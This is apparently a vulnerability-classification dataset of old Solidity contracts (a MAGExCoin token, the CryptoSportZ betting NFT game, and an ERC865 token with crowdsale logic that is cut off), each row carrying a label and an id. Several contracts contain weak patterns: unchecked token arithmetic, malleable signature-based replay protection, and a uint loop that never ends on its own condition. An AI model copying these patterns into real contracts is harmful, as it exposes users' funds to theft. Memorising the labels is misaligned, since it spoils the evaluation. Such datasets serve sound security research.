balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract MAGExCoin is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function MAGExCoin(
) {
balances[msg.sender] = 10000000 * 100000000;
totalSupply = 10000000 * 100000000;
name = "AiRMage Tokens";
decimals = 8;
symbol = "MAGEx";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 2,992 |
pragma solidity ^0.4.18;
contract ERC721Abstract
{
function implementsERC721() public pure returns (bool);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
}
contract ERC721 is ERC721Abstract
{
string constant public name = "CryptoSportZ";
string constant public symbol = "CSZ";
uint256 public totalSupply;
struct Token
{
uint256 price;
uint256 option;
}
mapping (uint256 => Token) tokens;
mapping (uint256 => address) public tokenIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public tokenIndexToApproved;
function implementsERC721() public pure returns (bool)
{
return true;
}
function balanceOf(address _owner) public view returns (uint256 count)
{
return ownershipTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner)
{
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
function _approve(uint256 _tokenId, address _approved) internal
{
tokenIndexToApproved[_tokenId] = _approved;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToApproved[_tokenId] == _claimant;
}
function approve( address _to, uint256 _tokenId ) public
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom( address _from, address _to, uint256 _tokenId ) public
{
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToOwner[_tokenId] == _claimant;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal
{
ownershipTokenCount[_to]++;
tokenIndexToOwner[_tokenId] = _to;
if (_from != address(0))
{
ownershipTokenCount[_from]--;
delete tokenIndexToApproved[_tokenId];
Transfer(_from, _to, _tokenId);
}
}
function transfer(address _to, uint256 _tokenId) public
{
require(_to != address(0));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
}
contract Owned
{
address private candidate;
address public owner;
mapping(address => bool) public admins;
function Owned() public
{
owner = msg.sender;
}
function changeOwner(address newOwner) public
{
require(msg.sender == owner);
candidate = newOwner;
}
function confirmOwner() public
{
require(candidate == msg.sender);
owner = candidate;
}
function addAdmin(address addr) external
{
require(msg.sender == owner);
admins[addr] = true;
}
function removeAdmin(address addr) external
{
require(msg.sender == owner);
admins[addr] = false;
}
}
contract Functional
{
function parseInt(string _a, uint _b) internal pure returns (uint)
{
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string)
{
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function strConcat(string _a, string _b, string _c) internal pure returns (string)
{
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
string memory abc;
uint k = 0;
uint i;
bytes memory babc;
if (_ba.length==0)
{
abc = new string(_bc.length);
babc = bytes(abc);
}
else
{
abc = new string(_ba.length + _bb.length+ _bc.length);
babc = bytes(abc);
for (i = 0; i < _ba.length; i++) babc[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babc[k++] = _bb[i];
}
for (i = 0; i < _bc.length; i++) babc[k++] = _bc[i];
return string(babc);
}
function timenow() public view returns(uint32) { return uint32(block.timestamp); }
}
contract CryptoSportZ is ERC721, Functional, Owned
{
uint256 public feeGame;
enum Status {
NOTFOUND,
PLAYING,
PROCESSING,
PAYING,
CANCELING
}
struct Game {
string nameGame;
uint32 countCombinations;
uint32 dateStopBuy;
uint32 winCombination;
uint256 betsSumIn;
uint256 feeValue;
Status status;
bool isFreezing;
}
mapping (uint256 => Game) private game;
uint32 public countGames;
uint32 private constant shiftGame = 0;
uint32 private constant FEECONTRACT = 5;
struct Stake {
uint256 sum;
uint32 count;
}
mapping(uint32 => mapping (uint32 => Stake)) public betsAll;
mapping(bytes32 => uint32) private queryRes;
event LogEvent(string _event, string nameGame, uint256 value);
event LogToken(string _event, address user, uint32 idGame, uint256 idToken, uint32 combination, uint256 amount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
function getPriceTicket() public view returns ( uint32 )
{
if ( timenow() >= 1531339200 ) return 8000;
if ( timenow() >= 1530993600 ) return 4000;
if ( timenow() >= 1530648000 ) return 2000;
if ( timenow() >= 1530302400 ) return 1000;
if ( timenow() >= 1529870400 ) return 500;
if ( timenow() >= 1529438400 ) return 400;
if ( timenow() >= 1529006400 ) return 300;
if ( timenow() >= 1528747200 ) return 200;
if ( timenow() >= 1528401600 ) return 100;
return 50;
}
function getGameByID(uint32 _id) public view returns (
string nameGame,
uint32 countCombinations,
uint32 dateStopBuy,
uint32 priceTicket,
uint32 winCombination,
uint32 betsCount,
uint256 betsSumIn,
uint256 feeValue,
Status status,
bool isFreezing
){
Game storage gm = game[_id];
nameGame = gm.nameGame;
countCombinations = gm.countCombinations;
dateStopBuy = gm.dateStopBuy;
priceTicket = getPriceTicket();
winCombination = gm.winCombination;
betsCount = getCountTokensByGame(_id);
betsSumIn = gm.betsSumIn;
if (betsSumIn==0) betsSumIn = getSumInByGame(_id);
feeValue = gm.feeValue;
status = gm.status;
if ( status == Status.PLAYING && timenow() > dateStopBuy ) status = Status.PROCESSING;
isFreezing = gm.isFreezing;
}
function getBetsMas(uint32 idGame) public view returns (uint32[33])
{
Game storage curGame = game[idGame];
uint32[33] memory res;
for(uint32 i=1;i<=curGame.countCombinations;i++) res[i] = betsAll[idGame][i].count;
return res;
}
function getCountTokensByGame(uint32 idGame) internal view returns (uint32)
{
Game storage curGame = game[idGame];
uint32 count = 0;
for(uint32 i=1;i<=curGame.countCombinations;i++) count += betsAll[idGame][i].count;
return count;
}
function getSumInByGame(uint32 idGame) internal view returns (uint256)
{
Game storage curGame = game[idGame];
uint256 sum = 0;
for(uint32 i=1;i<=curGame.countCombinations;i++) sum += betsAll[idGame][i].sum;
return sum;
}
function getTokenByID(uint256 _id) public view returns (
uint256 price,
uint256 payment,
uint32 combination,
uint32 dateBuy,
uint32 idGame,
address ownerToken,
bool payout
){
Token storage tkn = tokens[_id];
price = tkn.price;
uint256 packed = tkn.option;
payout = uint8((packed >> (12*8)) & 0xFF)==1?true:false;
idGame = uint32((packed >> (8*8)) & 0xFFFFFFFF);
combination = uint32((packed >> (4*8)) & 0xFFFFFFFF);
dateBuy = uint32(packed & 0xFFFFFFFF);
payment = 0;
Game storage curGame = game[idGame];
uint256 betsSumIn = curGame.betsSumIn;
if (betsSumIn==0) betsSumIn = getSumInByGame(idGame);
if (curGame.winCombination==combination) payment = betsSumIn / betsAll[idGame][ curGame.winCombination ].count;
if (curGame.status == Status.CANCELING) payment = tkn.price;
ownerToken = tokenIndexToOwner[_id];
}
function getUserTokens(address user, uint32 count) public view returns ( string res )
{
res="";
require(user!=0x0);
uint32 findCount=0;
for (uint256 i = totalSupply-1; i >= 0; i--)
{
if(i>totalSupply) break;
if (user == tokenIndexToOwner[i])
{
res = strConcat( res, ",", uint2str(i) );
findCount++;
if (count!=0 && findCount>=count) break;
}
}
}
function getUserTokensByGame(address user, uint32 idGame) public view returns ( string res )
{
res="";
require(user!=0x0);
for(uint256 i=0;i<totalSupply;i++)
{
if (user == tokenIndexToOwner[i])
{
uint256 packed = tokens[i].option;
uint32 idGameToken = uint32((packed >> (8*8)) & 0xFFFFFFFF);
if (idGameToken == idGame) res = strConcat( res, ",", uint2str(i) );
}
}
}
function getTokensByGame(uint32 idGame) public view returns (string res)
{
res="";
for(uint256 i=0;i<totalSupply;i++)
{
uint256 packed = tokens[i].option;
uint32 idGameToken = uint32((packed >> (8*8)) & 0xFFFFFFFF);
if (idGameToken == idGame) res = strConcat( res, ",", uint2str(i) );
}
}
function getStatGames() public view returns (
uint32 countAll,
uint32 countPlaying,
uint32 countProcessing,
string listPlaying,
string listProcessing
){
countAll = countGames;
countPlaying = 0;
countProcessing = 0;
listPlaying="";
listProcessing="";
uint32 curtime = timenow();
for(uint32 i=shiftGame; i<countAll+shiftGame; i++)
{
if (game[i].status!=Status.PLAYING) continue;
if (curtime < game[i].dateStopBuy) { countPlaying++; listPlaying = strConcat( listPlaying, ",", uint2str(i) ); }
if (curtime >= game[i].dateStopBuy) { countProcessing++; listProcessing = strConcat( listProcessing, ",", uint2str(i) ); }
}
}
function CryptoSportZ() public
{
}
function freezeGame(uint32 idGame, bool freeze) public onlyAdmin
{
Game storage curGame = game[idGame];
require( curGame.isFreezing != freeze );
curGame.isFreezing = freeze;
}
function addGame( string _nameGame ) onlyAdmin public
{
require( bytes(_nameGame).length > 2 );
Game memory _game;
_game.nameGame = _nameGame;
_game.countCombinations = 32;
_game.dateStopBuy = 1531666800;
_game.status = Status.PLAYING;
uint256 newGameId = countGames + shiftGame;
game[newGameId] = _game;
countGames++;
LogEvent( "AddGame", _nameGame, newGameId );
}
function () payable public { require (msg.value == 0x0); }
function buyToken(uint32 idGame, uint32 combination, address captainAddress) payable public
{
Game storage curGame = game[idGame];
require( curGame.status == Status.PLAYING );
require( timenow() < curGame.dateStopBuy );
require( combination > 0 && combination <= curGame.countCombinations );
require( curGame.isFreezing == false );
uint256 userStake = msg.value;
uint256 ticketPrice = uint256(getPriceTicket()) * 1 finney;
require( userStake >= ticketPrice );
if ( userStake > ticketPrice )
{
uint256 change = userStake - ticketPrice;
userStake = userStake - change;
require( userStake == ticketPrice );
msg.sender.transfer(change);
}
uint256 feeValue = userStake * FEECONTRACT / 100;
if (captainAddress!=0x0 && captainAddress != msg.sender)
{
uint256 captainValue = feeValue * 20 / 100;
feeValue = feeValue - captainValue;
captainAddress.transfer(captainValue);
}
userStake = userStake - feeValue;
curGame.feeValue = curGame.feeValue + feeValue;
betsAll[idGame][combination].sum += userStake;
betsAll[idGame][combination].count += 1;
uint256 packed;
packed = ( uint128(idGame) << 8*8 ) + ( uint128(combination) << 4*8 ) + uint128(block.timestamp);
Token memory _token = Token({
price: userStake,
option : packed
});
uint256 newTokenId = totalSupply++;
tokens[newTokenId] = _token;
_transfer(0x0, msg.sender, newTokenId);
LogToken( "Buy", msg.sender, idGame, newTokenId, combination, userStake);
}
function redeemToken(uint256 _tokenId) public
{
Token storage tkn = tokens[_tokenId];
uint256 packed = tkn.option;
bool payout = uint8((packed >> (12*8)) & 0xFF)==1?true:false;
uint32 idGame = uint32((packed >> (8*8)) & 0xFFFFFFFF);
uint32 combination = uint32((packed >> (4*8)) & 0xFFFFFFFF);
Game storage curGame = game[idGame];
require( curGame.status == Status.PAYING || curGame.status == Status.CANCELING);
require( msg.sender == tokenIndexToOwner[_tokenId] );
require( payout == false );
require( combination == curGame.winCombination || curGame.status == Status.CANCELING );
uint256 sumPayment = 0;
if ( curGame.status == Status.CANCELING ) sumPayment = tkn.price;
if ( curGame.status == Status.PAYING ) sumPayment = curGame.betsSumIn / betsAll[idGame][curGame.winCombination].count;
payout = true;
packed += uint128(payout?1:0) << 12*8;
tkn.option = packed;
msg.sender.transfer(sumPayment);
LogToken( "Redeem", msg.sender, idGame, uint32(_tokenId), combination, sumPayment);
}
function cancelGame(uint32 idGame) public
{
Game storage curGame = game[idGame];
require( curGame.status == Status.PLAYING );
require( msg.sender == owner || admins[msg.sender] || timenow() > curGame.dateStopBuy + 60 days );
curGame.status = Status.CANCELING;
takeFee(idGame);
}
function resolveGameByHand(uint32 idGame, uint32 combination) onlyAdmin public
{
Game storage curGame = game[idGame];
require( curGame.status == Status.PLAYING );
require( combination <= curGame.countCombinations );
require( combination != 0 );
require( timenow() > curGame.dateStopBuy + 2*60*60 );
curGame.winCombination = combination;
checkWinNobody(idGame);
}
function checkWinNobody(uint32 idGame) internal
{
Game storage curGame = game[idGame];
curGame.status = Status.PAYING;
curGame.betsSumIn = getSumInByGame(idGame);
if ( betsAll[idGame][curGame.winCombination].count == 0 )
{
if (curGame.betsSumIn+curGame.feeValue!=0) feeGame = feeGame + curGame.betsSumIn + curGame.feeValue;
LogEvent( "NobodyWin", curGame.nameGame, curGame.betsSumIn+curGame.feeValue );
}
else
takeFee(idGame);
}
function takeFee(uint32 idGame) internal
{
Game storage curGame = game[idGame];
if ( curGame.feeValue > 0 )
{
feeGame = feeGame + curGame.feeValue;
LogEvent( "TakeFee", curGame.nameGame, curGame.feeValue );
}
}
function withdraw() onlyOwner public
{
require( feeGame > 0 );
uint256 tmpFeeGame = feeGame;
feeGame = 0;
owner.transfer(tmpFeeGame);
}
} | 0 | 1,265 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Administratable is Ownable {
mapping (address => bool) admins;
event AdminAdded(address indexed _admin);
event AdminRemoved(address indexed _admin);
modifier onlyAdmin() {
require(admins[msg.sender]);
_;
}
function addAdmin(address _addressToAdd) external onlyOwner {
require(_addressToAdd != address(0));
admins[_addressToAdd] = true;
emit AdminAdded(_addressToAdd);
}
function removeAdmin(address _addressToRemove) external onlyOwner {
require(_addressToRemove != address(0));
admins[_addressToRemove] = false;
emit AdminRemoved(_addressToRemove);
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ERC865 is ERC20 {
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function approvePreSigned(
bytes _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function increaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function decreaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function transferFromPreSigned(
bytes _signature,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function revokeSignature(bytes _signature)
public
returns (bool);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) public balances;
uint256 _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC865Token is ERC865, StandardToken {
mapping(bytes => bool) nonces;
event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
event ApprovalPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
event SignatureRevoked(bytes signature, address indexed from);
function transferPreSigned(
bytes _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_to != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = transferPreSignedHashing(address(this), _to, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
nonces[_signature] = true;
balances[from] = balances[from].sub(_value).sub(_fee);
balances[_to] = balances[_to].add(_value);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Transfer(from, _to, _value);
emit Transfer(from, msg.sender, _fee);
emit TransferPreSigned(from, _to, msg.sender, _value, _fee);
return true;
}
function approvePreSigned(
bytes _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = approvePreSignedHashing(address(this), _spender, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
nonces[_signature] = true;
allowed[from][_spender] = _value;
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, _value);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, _value, _fee);
return true;
}
function increaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = increaseApprovalPreSignedHashing(address(this), _spender, _addedValue, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
nonces[_signature] = true;
allowed[from][_spender] = allowed[from][_spender].add(_addedValue);
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, allowed[from][_spender]);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee);
return true;
}
function decreaseApprovalPreSigned(
bytes _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = decreaseApprovalPreSignedHashing(address(this), _spender, _subtractedValue, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
nonces[_signature] = true;
uint oldValue = allowed[from][_spender];
if (_subtractedValue > oldValue) {
allowed[from][_spender] = 0;
} else {
allowed[from][_spender] = oldValue.sub(_subtractedValue);
}
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, _subtractedValue);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee);
return true;
}
function transferFromPreSigned(
bytes _signature,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_to != address(0));
require(!nonces[_signature]);
bytes32 hashedTx = transferFromPreSignedHashing(address(this), _from, _to, _value, _fee, _nonce);
address spender = recover(hashedTx, _signature);
require(spender != address(0));
nonces[_signature] = true;
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][spender] = allowed[_from][spender].sub(_value);
balances[spender] = balances[spender].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
nonces[_signature] = true;
emit Transfer(_from, _to, _value);
emit Transfer(spender, msg.sender, _fee);
return true;
}
function revokeSignature(bytes _signature) public returns (bool) {
require(!nonces[_signature]);
nonces[_signature] = true;
emit SignatureRevoked(_signature, msg.sender);
return true;
}
function transferPreSignedHashing(
address _token,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0x48664c16), _token, _to, _value, _fee, _nonce);
}
function approvePreSignedHashing(
address _token,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0xf7ac9c2e), _token, _spender, _value, _fee, _nonce);
}
function increaseApprovalPreSignedHashing(
address _token,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0xa45f71ff), _token, _spender, _addedValue, _fee, _nonce);
}
function decreaseApprovalPreSignedHashing(
address _token,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0x59388d78), _token, _spender, _subtractedValue, _fee, _nonce);
}
function transferFromPreSignedHashing(
address _token,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(bytes4(0xb7656dc5), _token, _from, _to, _value, _fee, _nonce);
}
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Paused();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpaused();
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
uint256 public tokenWeiSold;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
tokenWeiSold = tokenWeiSold.add(tokens);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) pure internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) pure internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract WhitelistedCrowdsale is Crowdsale, Administratable {
mapping(address => bool) public whitelist;
event AddedToWhitelist(address indexed _address);
event RemovedFromWhitelist(address indexed _address);
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyAdmin {
whitelist[_beneficiary] = true;
emit AddedToWhitelist(_beneficiary);
}
function addManyToWhitelist(address[] _beneficiaries) external onlyAdmin {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyAdmin {
whitelist[_beneficiary] = false;
emit RemovedFromWhitelist(_beneficiary);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract PostDeliveryCrowdsale is TimedCrowdsale, Administratable {
using SafeMath for uint256;
mapping(address => uint256) public balances;
event TokensWithdrawn(address indexed _address, uint256 _amount);
function withdrawTokens(address _beneficiary) public onlyAdmin {
require(hasClosed());
uint256 amount = balances[_beneficiary];
require(amount > 0);
balances[_beneficiary] = 0;
_deliverTokens(_beneficiary, amount);
emit TokensWithdrawn(_beneficiary, amount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
function getBalance(address _beneficiary) public returns (uint256) {
return balances[_beneficiary];
}
}
contract MultiRoundCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
struct SaleRound {
uint256 start;
uint256 end;
uint256 rate;
uint256 roundCap;
uint256 minPurchase;
}
SaleRound seedRound;
SaleRound presale;
SaleRound crowdsaleWeek1;
SaleRound crowdsaleWeek2;
SaleRound crowdsaleWeek3;
SaleRound crowdsaleWeek4;
bool public saleRoundsSet = false;
function setTokenSaleRounds(uint256[5] _seedRound, uint256[5] _presale, uint256[5] _crowdsaleWeek1, uint256[5] _crowdsaleWeek2, uint256[5] _crowdsaleWeek3, uint256[5] _crowdsaleWeek4) external onlyOwner returns (bool) {
require(!saleRoundsSet);
require(_seedRound[0] < _seedRound[1]);
require(_presale[0] < _presale[1]);
require(_crowdsaleWeek1[0] < _crowdsaleWeek1[1]);
require(_crowdsaleWeek2[0] < _crowdsaleWeek2[1]);
require(_crowdsaleWeek3[0] < _crowdsaleWeek3[1]);
require(_crowdsaleWeek4[0] < _crowdsaleWeek4[1]);
require(_seedRound[1] < _presale[0]);
require(_presale[1] < _crowdsaleWeek1[0]);
require(_crowdsaleWeek1[1] < _crowdsaleWeek2[0]);
